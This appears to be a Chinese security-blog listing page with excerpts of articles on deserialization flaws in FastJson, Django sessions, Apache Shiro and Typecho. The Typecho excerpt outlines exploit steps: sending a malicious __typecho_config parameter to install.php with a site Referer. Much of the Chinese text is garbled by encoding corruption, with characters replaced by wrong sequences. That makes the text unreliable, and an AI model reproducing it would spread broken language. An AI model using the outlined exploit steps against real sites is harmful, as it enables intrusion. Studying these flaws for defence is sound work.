    0x00.前言 前面我們學(xué)習(xí)了RMI和JNDI知識(shí),接下來(lái)我們就可以來(lái)了解一下FastJson反序列化了 0x01.FastJson概述 FastJson是阿里巴巴的開(kāi)源JSON解析庫(kù),它可以解析JSON格式的字符串,支持 將JavaBean序列化為JSON字符串,也可以將JSON字符串反序列化到JavaBean 0x02.FastJson使用 首先我們需要使用

    2024年02月11日
    瀏覽(33)
  • 由Django-Session配置引發(fā)的反序列化安全問(wèn)題

    漏洞成因位于目標(biāo)配置文件settings.py下 關(guān)于這兩個(gè)配置項(xiàng) SESSION_ENGINE: 在Django中, SESSION_ENGINE ?是一個(gè)設(shè)置項(xiàng),用于指定用于存儲(chǔ)和處理會(huì)話(huà)(session)數(shù)據(jù)的引擎。 SESSION_ENGINE ?設(shè)置項(xiàng)允許您選擇不同的后端引擎來(lái)存儲(chǔ)會(huì)話(huà)數(shù)據(jù),例如: 數(shù)據(jù)庫(kù)后端 ?( django.contrib.sessions.b

    2024年02月08日
    瀏覽(22)
  • 漏洞復(fù)現(xiàn)——shiro反序列化

    漏洞復(fù)現(xiàn)——shiro反序列化

    今天咱們的主角是shiro反序列化命令執(zhí)行漏洞。該漏洞在HVV等大型攻防項(xiàng)目中,經(jīng)常被作為突破口。簡(jiǎn)單介紹了解一下還是很有必要的。廢話(huà)不多說(shuō),進(jìn)入正題。 一、漏洞描述: Apache Shiro是美國(guó)阿帕奇(Apache)軟件基金會(huì)的一套用于執(zhí)行認(rèn)證、授權(quán)、加密和會(huì)話(huà)管理的Java安

    2024年02月09日
    瀏覽(25)
  • typecho 反序列化漏洞復(fù)現(xiàn)

    typecho 反序列化漏洞復(fù)現(xiàn)

    下載typecho14.10.10? 安裝,這里需要安裝數(shù)據(jù)庫(kù) ?POC.php ?POST數(shù)據(jù)包如下,訪問(wèn)install.php并攜帶參數(shù)finish,Referer來(lái)自本網(wǎng)站,POST傳遞惡意參數(shù) 步驟和前面一樣,把payload放_(tái)_typecho_config=就行

    2024年02月09日
    瀏覽(27)

覺(jué)得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請(qǐng)作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包